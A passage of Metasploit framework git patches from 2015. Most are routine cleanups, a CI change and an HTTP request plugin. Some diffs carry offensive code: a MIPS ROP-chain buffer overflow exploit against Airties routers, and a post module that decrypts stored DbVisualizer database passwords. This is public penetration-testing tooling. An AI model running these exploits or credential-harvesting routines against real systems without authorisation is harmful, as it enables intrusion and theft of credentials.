arbitrary code execution. This module will try to cause a denial-of-service. - - Please note that a valid file resource must be supplied for the TARGETURI option. - By default, IIS provides 'welcome.png' and 'iis-85.png' as resources. - Others may also exist, depending on configuration options. }, 'Author' => [ From 2a260f0689f1d35e8f5243eaf6678c89df448e57 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 28 May 2015 15:18:05 -0500 Subject: [PATCH 0222/1013] Update description --- .../multi/browser/adobe_flash_net_connection_confusion.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb index 04360a9b08..8412136cf0 100644 --- a/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb +++ b/modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb @@ -21,7 +21,8 @@ class Metasploit3 < Msf::Exploit::Remote vectors, and finally accomplish remote code execution. This module has been tested successfully on: * Windows 7 SP1 (32-bit) with IE 8, IE11 and Adobe Flash 16.0.0.305 - * Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Adobe Flash 11.2.202.404 + * Linux Mint "Rebecca" (32 bits), and Ubuntu 14.04.2 LTS with Firefox 33.0 and + Adobe Flash 11.2.202.404. }, 'License' => MSF_LICENSE, 'Author' => From 80c3022dc14d3bd48085d8891a3f13f3d4359115 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 28 May 2015 15:39:14 -0500 Subject: [PATCH 0223/1013] Deprecate cold_fusion_version. Please use coldfusion_version. auxiliary/scanner/http/cold_fusion_version is deprecated. Please use auxiliary/scanner/http/coldfusion_version instead. --- .../scanner/http/cold_fusion_version.rb | 3 + .../scanner/http/coldfusion_version.rb | 127 ++++++++++++++++++ 2 files changed, 130 insertions(+) create mode 100644 modules/auxiliary/scanner/http/coldfusion_version.rb diff --git a/modules/auxiliary/scanner/http/cold_fusion_version.rb b/modules/auxiliary/scanner/http/cold_fusion_version.rb index b27972d810..ef320c9026 100644 --- a/modules/auxiliary/scanner/http/cold_fusion_version.rb +++ b/modules/auxiliary/scanner/http/cold_fusion_version.rb @@ -10,6 +10,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 6, 28), 'auxiliary/scanner/http/coldfusion_version') def initialize super( diff --git a/modules/auxiliary/scanner/http/coldfusion_version.rb b/modules/auxiliary/scanner/http/coldfusion_version.rb new file mode 100644 index 0000000000..b27972d810 --- /dev/null +++ b/modules/auxiliary/scanner/http/coldfusion_version.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'ColdFusion Version Scanner', + 'Description' => %q{ + This module attempts identify various flavors of ColdFusion up to version 10 + as well as the underlying OS. + }, + 'Author' => + [ + 'nebulus', # Original + 'sinn3r' # Fingerprint() patch for Cold Fusion 10 + ], + 'License' => MSF_LICENSE + ) + end + + def fingerprint(response) + + if(response.headers.has_key?('Server') ) + if(response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/) + os = "Windows (#{response.headers['Server']})" + elsif(response.headers['Server'] =~ /Apache\//) + os = "Unix (#{response.headers['Server']})" + else + os = response.headers['Server'] + end + end + + return nil if response.body.length < 100 + + title = "Not Found" + if(response.body =~ /(.+)<\/title\/?>/im) + title = $1 + title.gsub!(/\s/, '') + end + + return nil if( title == 'Not Found' or not title =~ /ColdFusionAdministrator/) + + out = nil + + if(response.body =~ />\s*Version:\s*(.*)<\/strong\>\s+ url, + 'method' => 'GET', + }) + + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code.to_i == 200) + out = fingerprint(res) + return if not out + if(out =~ /^Unknown/) + print_status("#{ip} " << out) + return + else + print_good("#{ip}: " << out) + report_note( + :host => ip, + :port => datastore['RPORT'], + :proto => 'tcp', + :ntype => 'cfversion', + :data => out + ) + end + elsif(res.code.to_i == 403 and datastore['VERBOSE']) + if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) + print_status("#{ip} denied access to #{url} (SSL Required)") + elsif(res.body =~ /has a list of IP addresses that are not allowed/) + print_status("#{ip} restricted access by IP") + elsif(res.body =~ /SSL client certificate is required/) + print_status("#{ip} requires a SSL client certificate") + else + print_status("#{ip} denied access to #{url} #{res.code} #{res.message}") + end + end + + rescue OpenSSL::SSL::SSLError + rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError + rescue ::Timeout::Error, ::Errno::EPIPE + end + +end From 3ac5088a9ac1c55e7089ac70e87cc7a4de617163 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 29 May 2015 10:33:55 +0500 Subject: [PATCH 0224/1013] Add decryption.final for proper padding --- modules/post/multi/gather/dbvis_enum.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index 74bea5de13..a274db370e 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -7,6 +7,7 @@ require 'msf/core' require 'msf/core/auxiliary/report' require 'openssl' require 'digest/md5' +require 'base64' class Metasploit3 < Msf::Post @@ -204,7 +205,7 @@ class Metasploit3 < Msf::Post report_host(:host => db[:Server]); end - db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password]] + db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password] ] end return db_table end @@ -283,7 +284,7 @@ class Metasploit3 < Msf::Post report_host(:host => $1.to_s) end end - db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ] + db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid], db[:Password] ] end return db_table end @@ -301,10 +302,10 @@ class Metasploit3 < Msf::Post enc_password = Rex::Text.decode_base64(enc_password) dk, iv = get_derived_key des = OpenSSL::Cipher.new('DES-CBC') + des.decrypt des.key = dk des.iv = iv - - des.update(enc_password) + password = des.update(enc_password) + des.final end def get_derived_key From 101f12b9d20388a6eac6ef674d7710d9b648e2c4 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 29 May 2015 10:38:06 +0500 Subject: [PATCH 0225/1013] Remove base64 require --- modules/post/multi/gather/dbvis_enum.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index a274db370e..6ad4f86d38 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -7,7 +7,6 @@ require 'msf/core' require 'msf/core/auxiliary/report' require 'openssl' require 'digest/md5' -require 'base64' class Metasploit3 < Msf::Post From 17c0af638084d5dd92b92e2db5633f84a62b784a Mon Sep 17 00:00:00 2001 From: root Date: Fri, 29 May 2015 11:08:24 +0500 Subject: [PATCH 0226/1013] Consistent column names --- modules/post/multi/gather/dbvis_enum.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index 6ad4f86d38..42bc91d61d 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -123,7 +123,7 @@ class Metasploit3 < Msf::Post "Port", "Database", "Namespace", - "Userid", + "UserID", "Password" ]) @@ -166,7 +166,7 @@ class Metasploit3 < Msf::Post # get the user if line =~ /([\S+\s+]+)<\/Userid>/i - db[:Userid] = $1 + db[:UserID] = $1 end # get user password @@ -204,7 +204,7 @@ class Metasploit3 < Msf::Post report_host(:host => db[:Server]); end - db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password] ] + db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ] end return db_table end @@ -258,7 +258,7 @@ class Metasploit3 < Msf::Post # get the user if line =~ /([\S+\s+]+)<\/Userid>/i - db[:Userid] = $1 + db[:UserID] = $1 end #get the user password @@ -269,7 +269,7 @@ class Metasploit3 < Msf::Post # get the server URL if line =~ /(\S+)<\/Url>/i - db[:Url] = $1 + db[:URL] = $1 end end @@ -277,13 +277,13 @@ class Metasploit3 < Msf::Post # Fill the tab dbs.each do |db| - if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i) + if (db[:URL] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i) if ::Rex::Socket.is_ipv4?($1.to_s) print_good("Reporting #{$1}") report_host(:host => $1.to_s) end end - db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid], db[:Password] ] + db_table << [ db[:Alias] , db[:Type] , db[:URL], db[:UserID], db[:Password] ] end return db_table end From 36782af5c9adb0bab7edeb115271df01e0ef0623 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 10:34:12 -0500 Subject: [PATCH 0227/1013] Resolve #4889, Improve msfvenom -h Resolve #4889 --- msfvenom | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/msfvenom b/msfvenom index 31207897c1..84b71ab4b9 100755 --- a/msfvenom +++ b/msfvenom @@ -54,7 +54,10 @@ require 'msf/core/payload_generator' opts = {} datastore = {} opt = OptionParser.new - opt.banner = "Usage: #{$0} [options] " + banner = "MsfVenom - a Metasploit standalone payload generator.\n" + banner << "Also a replacement for msfpayload and msfencode.\n" + banner << "Usage: #{$0} [options] " + opt.banner = banner opt.separator('') opt.separator('Options:') @@ -292,7 +295,14 @@ if __FILE__ == $0 $stdout.puts dump_encoders $stdout.puts dump_nops else - $stderr.puts "Invalid module type" + if mod == 'payload' + question = ". Do you mean 'payloads'?" + elsif mod == 'encoder' + question = ". Do you mean 'encoders'?" + elsif mod == 'nop' + quesetion = ". Do you mean 'nops'?" + end + $stderr.puts "Invalid module type#{question}" end end exit(0) From 952f391fb4ff688dd1b21785e5f2b7d9424abae7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 29 May 2015 10:49:51 -0500 Subject: [PATCH 0228/1013] Do minor code cleanup --- .../linux/http/airties_login_cgi_bof.rb | 41 ++++++++++--------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index ece3f68ec9..20e1387e38 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -15,17 +15,17 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Airties login-cgi Buffer Overflow', 'Description' => %q{ - This module exploits an remote buffer overflow vulnerability on several Airties routers. - The vulnerability exists in the handling of HTTP queries to the login cgi with - long redirect parameter values. The vulnerability can be exploitable without authentication. - This module has been tested successfully on Airties firmware AirTies_Air5650v3TT_FW_1.0.2.0.bin - in emulation. Other firmware versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, - Air5444TT, Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. + This module exploits a remote buffer overflow vulnerability on several Airties routers. + The vulnerability exists in the handling of HTTP queries to the login cgi with long + redirect parameters. The vulnerability doesn't require authentication. This module has + been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation. + Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT, + Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable. }, 'Author' => [ - 'Batuhan Burakcin ', # discovered the vulnerability - 'Michael Messner ', # Metasploit module + 'Batuhan Burakcin ', # discovered the vulnerability + 'Michael Messner ' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => ['linux'], @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['EDB', '36577'], ['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory - ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'], #PoC + ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC ], 'Targets' => [ @@ -42,23 +42,24 @@ class Metasploit3 < Msf::Exploit::Remote { 'Offset' => 359, 'LibcBase' => 0x2aad1000, - 'RestoreReg' => 0x0003FE20, # restore s-registers - 'System' => 0x0003edff, # address of system-1 - 'CalcSystem' => 0x000111EC, # calculate the correct address of system - 'CallSystem' => 0x00041C10, # call our system - 'PrepareSystem' => 0x000215b8, # prepare $a0 for our system call + 'RestoreReg' => 0x0003FE20, # restore s-registers + 'System' => 0x0003edff, # address of system-1 + 'CalcSystem' => 0x000111EC, # calculate the correct address of system + 'CallSystem' => 0x00041C10, # call our system + 'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call } ] ], 'DisclosureDate' => 'Mar 31 2015', 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check begin res = send_request_cgi({ - 'uri' => "/cgi-bin/login", + 'uri' => '/cgi-bin/login', 'method' => 'GET' }) @@ -103,16 +104,16 @@ class Metasploit3 < Msf::Exploit::Remote # 0003FE48 addiu $sp, 0x48 shellcode << rand_text_alpha_upper(36) # padding - shellcode << [target['LibcBase'] + target['System']].pack("N") # s0 - system address-1 + shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1 shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4 - shellcode << [target['LibcBase'] + target['CallSystem']].pack("N") # $s5 - call system + shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system # 00041C10 move $t9, $s0 # 00041C14 jalr $t9 # 00041C18 nop shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7 - shellcode << [target['LibcBase'] + target['PrepareSystem']].pack("N") # write sp to $a0 -> parameter for call to system + shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parameter for call to system # 000215B8 addiu $a0, $sp, 0x20 # 000215BC lw $ra, 0x1C($sp) @@ -120,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote # 000215C4 addiu $sp, 0x20 shellcode << rand_text_alpha_upper(28) # padding - shellcode << [target['LibcBase'] + target['CalcSystem']].pack("N") # add 1 to s0 (calculate system address) + shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address) # 000111EC move $t9, $s5 # 000111F0 jalr $t9 @@ -134,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'method' => 'POST', - 'uri' => "/cgi-bin/login", + 'uri' => '/cgi-bin/login', 'encode_params' => false, 'vars_post' => { 'redirect' => shellcode, From 635a37681dc8ad971eb63ef4add22a22d89bc472 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 29 May 2015 10:23:54 -0500 Subject: [PATCH 0229/1013] skip checking for deltas in Gemfile.lock with bundler 1.10.x thanks to @firefart for the filter --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 2f6072ffd2..8a150bacc2 100644 --- a/.travis.yml +++ b/.travis.yml @@ -22,7 +22,7 @@ before_script: - bundle exec rake db:migrate script: # fail build if db/schema.rb update is not committed - - git diff --exit-code && bundle exec rake $RAKE_TASKS + - git diff --exit-code -- . ':!Gemfile.lock' && bundle exec rake $RAKE_TASKS sudo: false rvm: - '2.1.6' From 00b8dbfe9b72e4dd5722deccc00716463593d4d2 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 29 May 2015 11:34:25 -0500 Subject: [PATCH 0230/1013] restrict git diff filter to something travis can expand --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 8a150bacc2..cbc78a6681 100644 --- a/.travis.yml +++ b/.travis.yml @@ -22,7 +22,7 @@ before_script: - bundle exec rake db:migrate script: # fail build if db/schema.rb update is not committed - - git diff --exit-code -- . ':!Gemfile.lock' && bundle exec rake $RAKE_TASKS + - git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS sudo: false rvm: - '2.1.6' From 50b2ae477fa6d19db6cbb30631ce0f07aec365f5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 12 Mar 2015 21:07:46 -0400 Subject: [PATCH 0231/1013] Add a plugin for making curl-like http requests --- plugins/requests.rb | 202 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 202 insertions(+) create mode 100644 plugins/requests.rb diff --git a/plugins/requests.rb b/plugins/requests.rb new file mode 100644 index 0000000000..3ed8e9045f --- /dev/null +++ b/plugins/requests.rb @@ -0,0 +1,202 @@ +require 'uri' + +module Msf + +class Plugin::HTTPRequest < Msf::Plugin + + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + 'Request' + end + + def commands + { + 'http_request' => 'Make an HTTP request' + } + end + + def parse_args(args) + help_line = 'Usage: http_request [options] uri' + opt_parser = Rex::Parser::Arguments.new( + '-0' => [ false, 'Use HTTP 1.0' ], + '-1' => [ false, 'Use TLSv1 (SSL)' ], + '-2' => [ false, 'Use SSLv2 (SSL)' ], + '-3' => [ false, 'Use SSLv3 (SSL)' ], + '-A' => [ true, 'User-Agent to send to server' ], + '-d' => [ true, 'HTTP POST data' ], + '-G' => [ false, 'Send the -d data with a HTTP GET' ], + '-h' => [ false, 'This help text' ], + '-H' => [ true, 'Custom header to pass to server' ], + '-i' => [ false, 'Include headers in the output' ], + '-I' => [ false, 'Show document info only' ], + '-o' => [ true, 'Write output to instead of stdout' ], + '-u' => [ true, 'Server user and password', ], + '-X' => [ true, 'Request method to use' ] + ) + + options = { + :auth_password => nil, + :auth_username => nil, + :headers => { }, + :print_body => true, + :print_headers => false, + :method => nil, + :output_file => nil, + :ssl_version => 'Auto', + :uri => nil, + :user_agent => Rex::Proto::Http::Client::DefaultUserAgent, + :version => '1.1' + } + + opt_parser.parse(args) do |opt, idx, val| + case opt + when '-0' + options[:version] = '1.0' + when '-1' + options[:ssl_version] = 'TLS1' + when '-2' + options[:ssl_version] = 'SSL2' + when '-3' + options[:ssl_version] = 'SSL3' + when '-A' + options[:user_agent] = val + when '-d' + options[:data] = val + options[:method] ||= 'POST' + when '-G' + options[:method] = 'GET' + when '-h' + print_line(help_line) + print_line(opt_parser.usage) + return + when '-H' + name, _, value = val.partition(':') + options[:headers][name] = value.strip + when '-i' + options[:print_headers] = true + when '-I' + options[:print_headers] = true + options[:print_body] = false + options[:method] ||= 'HEAD' + when '-o' + options[:output_file] = val + when '-u' + val = val.partition(':') + options[:auth_username] = val[0] + options[:auth_password] = val[2] + when '-X' + options[:method] = val + else + options[:uri] = val + end + end + + if options[:uri].nil? + print_line(help_line) + print_line(opt_parser.usage) + return + end + + options[:method] ||= 'GET' + options[:uri] = URI(options[:uri]) + options + end + + def output_line(opts, line) + if opts[:output_file].nil? + if line[-2..-1] == "\r\n" + print_line(line[0..-3]) + elsif line[-1] == "\n" + print_line(line[0..-2]) + else + print_line(line) + end + else + opts[:output_file].write(line) + end + end + + def cmd_http_request(*args) + opts = parse_args(args) + return unless opts + + unless opts[:output_file].nil? + begin + opts[:output_file] = File.new(opts[:output_file], 'w') + rescue ::Errno::EACCES, Errno::EISDIR, Errno::ENOTDIR + print_error('Failed to open the specified file for output') + return + end + end + + uri = opts[:uri] + http_client = Rex::Proto::Http::Client.new( + uri.host, + uri.port, + {'Msf' => framework}, + uri.scheme == 'https', + opts[:ssl_version] + ) + + begin + http_client.connect + request = http_client.request_cgi( + 'agent' => opts[:user_agent], + 'data' => opts[:data], + 'headers' => opts[:headers], + 'method' => opts[:method], + 'password' => opts[:auth_password], + 'query' => uri.query, + 'uri' => uri.path, + 'username' => opts[:auth_username], + 'version' => opts[:version] + ) + + response = http_client.send_recv(request) + rescue ::OpenSSL::SSL::SSLError + print_error('Encountered an SSL error') + rescue ::Errno::ECONNRESET => ex + print_error('The connection was reset by the peer') + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + print_error('Encountered an error') + rescue ::Exception => ex + print_line("An error of type #{ex.class} happened, message is #{ex.message}") + ensure + http_client.close + end + return unless response + + if opts[:print_headers] + output_line(opts, response.cmd_string) + output_line(opts, response.headers.to_s) + end + + output_line(opts, response.body) if opts[:print_body] + opts[:output_file].close unless opts[:output_file].nil? + end + end + + def initialize(framework, opts) + super + add_console_dispatcher(ConsoleCommandDispatcher) + print_status("#{name} plugin loaded.") + end + + def cleanup + remove_console_dispatcher('HTTP Request') + end + + def name + 'Requests' + end + + def desc + 'Make Requests' + end + +protected +end + +end From 72650d72b15850de87582847781d813915dbc74e Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 13 Mar 2015 08:58:17 -0400 Subject: [PATCH 0232/1013] Use an authorization header and fix uri.path --- plugins/requests.rb | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/plugins/requests.rb b/plugins/requests.rb index 3ed8e9045f..874365fcf2 100644 --- a/plugins/requests.rb +++ b/plugins/requests.rb @@ -32,7 +32,7 @@ class Plugin::HTTPRequest < Msf::Plugin '-i' => [ false, 'Include headers in the output' ], '-I' => [ false, 'Show document info only' ], '-o' => [ true, 'Write output to instead of stdout' ], - '-u' => [ true, 'Server user and password', ], + '-u' => [ true, 'Server user and password' ], '-X' => [ true, 'Request method to use' ] ) @@ -140,6 +140,14 @@ class Plugin::HTTPRequest < Msf::Plugin opts[:ssl_version] ) + unless opts[:auth_username].nil? + auth_str = opts[:auth_username].to_s + ':' + opts[:auth_password].to_s + auth_str = 'Basic ' + Rex::Text.encode_base64(auth_str) + opts[:headers]['Authorization'] = auth_str + end + + uri.path = '/' if uri.path.length == 0 + begin http_client.connect request = http_client.request_cgi( @@ -161,8 +169,8 @@ class Plugin::HTTPRequest < Msf::Plugin print_error('The connection was reset by the peer') rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error print_error('Encountered an error') - rescue ::Exception => ex - print_line("An error of type #{ex.class} happened, message is #{ex.message}") + #rescue ::Exception => ex + # print_line("An error of type #{ex.class} happened, message is #{ex.message}") ensure http_client.close end @@ -193,7 +201,7 @@ class Plugin::HTTPRequest < Msf::Plugin end def desc - 'Make Requests' + 'Make HTTP requests from within Metasploit.' end protected From 2070934758d259730ba699d2c5374aa4f9cb881a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 13 Mar 2015 09:36:57 -0400 Subject: [PATCH 0233/1013] Improve output file handling and expand_path --- plugins/requests.rb | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/plugins/requests.rb b/plugins/requests.rb index 874365fcf2..9cc04b19ee 100644 --- a/plugins/requests.rb +++ b/plugins/requests.rb @@ -26,7 +26,7 @@ class Plugin::HTTPRequest < Msf::Plugin '-3' => [ false, 'Use SSLv3 (SSL)' ], '-A' => [ true, 'User-Agent to send to server' ], '-d' => [ true, 'HTTP POST data' ], - '-G' => [ false, 'Send the -d data with a HTTP GET' ], + '-G' => [ false, 'Send the -d data with an HTTP GET' ], '-h' => [ false, 'This help text' ], '-H' => [ true, 'Custom header to pass to server' ], '-i' => [ false, 'Include headers in the output' ], @@ -81,7 +81,7 @@ class Plugin::HTTPRequest < Msf::Plugin options[:print_body] = false options[:method] ||= 'HEAD' when '-o' - options[:output_file] = val + options[:output_file] = File.expand_path(val) when '-u' val = val.partition(':') options[:auth_username] = val[0] @@ -174,7 +174,11 @@ class Plugin::HTTPRequest < Msf::Plugin ensure http_client.close end - return unless response + + unless response + opts[:output_file].close unless opts[:output_file].nil? + return + end if opts[:print_headers] output_line(opts, response.cmd_string) @@ -182,14 +186,16 @@ class Plugin::HTTPRequest < Msf::Plugin end output_line(opts, response.body) if opts[:print_body] - opts[:output_file].close unless opts[:output_file].nil? + unless opts[:output_file].nil? + print_status("Wrote #{opts[:output_file].tell} bytes to #{opts[:output_file].path}") + opts[:output_file].close + end end end def initialize(framework, opts) super add_console_dispatcher(ConsoleCommandDispatcher) - print_status("#{name} plugin loaded.") end def cleanup From 59f40d73e3a1afc2fcfbcb4a108d542a2ee59100 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 13 Mar 2015 13:13:18 -0400 Subject: [PATCH 0234/1013] Rename the requests plugin to http_requests --- plugins/{requests.rb => http_requests.rb} | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) rename plugins/{requests.rb => http_requests.rb} (95%) diff --git a/plugins/requests.rb b/plugins/http_requests.rb similarity index 95% rename from plugins/requests.rb rename to plugins/http_requests.rb index 9cc04b19ee..45b42e4d89 100644 --- a/plugins/requests.rb +++ b/plugins/http_requests.rb @@ -2,13 +2,13 @@ require 'uri' module Msf -class Plugin::HTTPRequest < Msf::Plugin +class Plugin::HTTPRequests < Msf::Plugin class ConsoleCommandDispatcher include Msf::Ui::Console::CommandDispatcher def name - 'Request' + 'HTTP Requests' end def commands @@ -75,10 +75,10 @@ class Plugin::HTTPRequest < Msf::Plugin name, _, value = val.partition(':') options[:headers][name] = value.strip when '-i' - options[:print_headers] = true + options[:print_headers] = true when '-I' - options[:print_headers] = true - options[:print_body] = false + options[:print_headers] = true + options[:print_body] = false options[:method] ||= 'HEAD' when '-o' options[:output_file] = File.expand_path(val) @@ -199,11 +199,11 @@ class Plugin::HTTPRequest < Msf::Plugin end def cleanup - remove_console_dispatcher('HTTP Request') + remove_console_dispatcher('HTTP Requests') end def name - 'Requests' + 'HTTP Requests' end def desc From 2e8e350608f864b57ffff233c454f04448bd1443 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 24 Mar 2015 17:20:32 -0400 Subject: [PATCH 0235/1013] Rename the http_requests plugin and command to httpr --- plugins/{http_requests.rb => httpr.rb} | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename plugins/{http_requests.rb => httpr.rb} (97%) diff --git a/plugins/http_requests.rb b/plugins/httpr.rb similarity index 97% rename from plugins/http_requests.rb rename to plugins/httpr.rb index 45b42e4d89..07ad1ddc97 100644 --- a/plugins/http_requests.rb +++ b/plugins/httpr.rb @@ -13,12 +13,12 @@ class Plugin::HTTPRequests < Msf::Plugin def commands { - 'http_request' => 'Make an HTTP request' + 'httpr' => 'Make an HTTP request' } end def parse_args(args) - help_line = 'Usage: http_request [options] uri' + help_line = 'Usage: httpr [options] uri' opt_parser = Rex::Parser::Arguments.new( '-0' => [ false, 'Use HTTP 1.0' ], '-1' => [ false, 'Use TLSv1 (SSL)' ], @@ -118,7 +118,7 @@ class Plugin::HTTPRequests < Msf::Plugin end end - def cmd_http_request(*args) + def cmd_httpr(*args) opts = parse_args(args) return unless opts From cefec81dbd386b76d97a63f60f7df0bc1045d046 Mon Sep 17 00:00:00 2001 From: Joshua Smith Date: Thu, 14 May 2015 21:21:18 -0500 Subject: [PATCH 0236/1013] move plugins/http to plugins/request --- plugins/{httpr.rb => request.rb} | 235 +++++++++++++++++-------------- 1 file changed, 133 insertions(+), 102 deletions(-) rename plugins/{httpr.rb => request.rb} (61%) diff --git a/plugins/httpr.rb b/plugins/request.rb similarity index 61% rename from plugins/httpr.rb rename to plugins/request.rb index 07ad1ddc97..cd2a837a85 100644 --- a/plugins/httpr.rb +++ b/plugins/request.rb @@ -2,23 +2,68 @@ require 'uri' module Msf -class Plugin::HTTPRequests < Msf::Plugin +class Plugin::Requests < Msf::Plugin class ConsoleCommandDispatcher include Msf::Ui::Console::CommandDispatcher def name - 'HTTP Requests' + 'Request' end def commands { - 'httpr' => 'Make an HTTP request' + 'request' => 'Make a request of the specified type', } end - def parse_args(args) - help_line = 'Usage: httpr [options] uri' + def types + # dynamically figure out what types are supported based on parse_args_* + parse_methods = self.public_methods.select {|m| m.to_s =~ /^parse_args_/} + parse_methods.collect {|m| m.to_s.split('_').slice(2..-1).join('_')} + end + + def cmd_request(*args) + # grab and validate the first arg as type, which will affect how the + # remaining args are parsed + type = args.shift + # short circuit the whole deal if they need help + return help if (!type || type =~ /^-?-h(?:elp)?$/) + type.downcase! + opts, opt_parser = parse_args(type, args) + if opts && opt_parser + if opts[:output_file] + begin + opts[:output_file] = File.new(opts[:output_file], 'w') + rescue ::Errno::EACCES, Errno::EISDIR, Errno::ENOTDIR + return help(opt_parser, 'Failed to open the specified file for output') + end + end + handler_method = "handle_request_#{type}".to_sym + if self.respond_to?(handler_method) + # call the appropriate request handler + self.send(handler_method, opts, opt_parser) + else + help(opt_parser, "No request handler found for type (#{type.to_s}).") + end + else + help(opt_parser, "No valid options provided for request #{type}") + end + end + + def parse_args(type, args) + type.downcase! + #print_line "type is #{type}" + parse_method = "parse_args_#{type}".to_sym + if self.respond_to?(parse_method) + self.send(parse_method, args, type) + else + print_line('Unrecognized type.') + help + end + end + + def parse_args_http(args = [], type = 'http') opt_parser = Rex::Parser::Arguments.new( '-0' => [ false, 'Use HTTP 1.0' ], '-1' => [ false, 'Use TLSv1 (SSL)' ], @@ -37,15 +82,10 